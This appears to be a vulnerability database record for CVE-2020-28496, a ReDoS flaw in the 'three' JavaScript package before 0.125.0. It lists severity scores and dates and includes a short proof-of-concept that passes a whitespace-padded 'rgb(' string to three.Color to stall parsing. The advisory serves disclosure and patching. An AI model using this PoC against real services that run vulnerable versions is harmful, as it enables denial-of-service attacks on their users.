CVE-2020-28496

Regular Expression Denial of Service (ReDoS)

High · published February 18, 2021

CVSS v3.1
7.5
EPSS
3%
Percentile
84.7
In the wild
Unconfirmed
What it is

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

The record
Technical detail
CVSS v3.1
7.5 · HIGH
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS v4.0
Not supplied
EPSS
0.02519 · 84.7th percentile
Published
2021-02-18T14:20Z
EPSS history
Timeline
  • 18 FEB 14:20Z
    Regular Expression Denial of Service (ReDoS)
    cvelistv5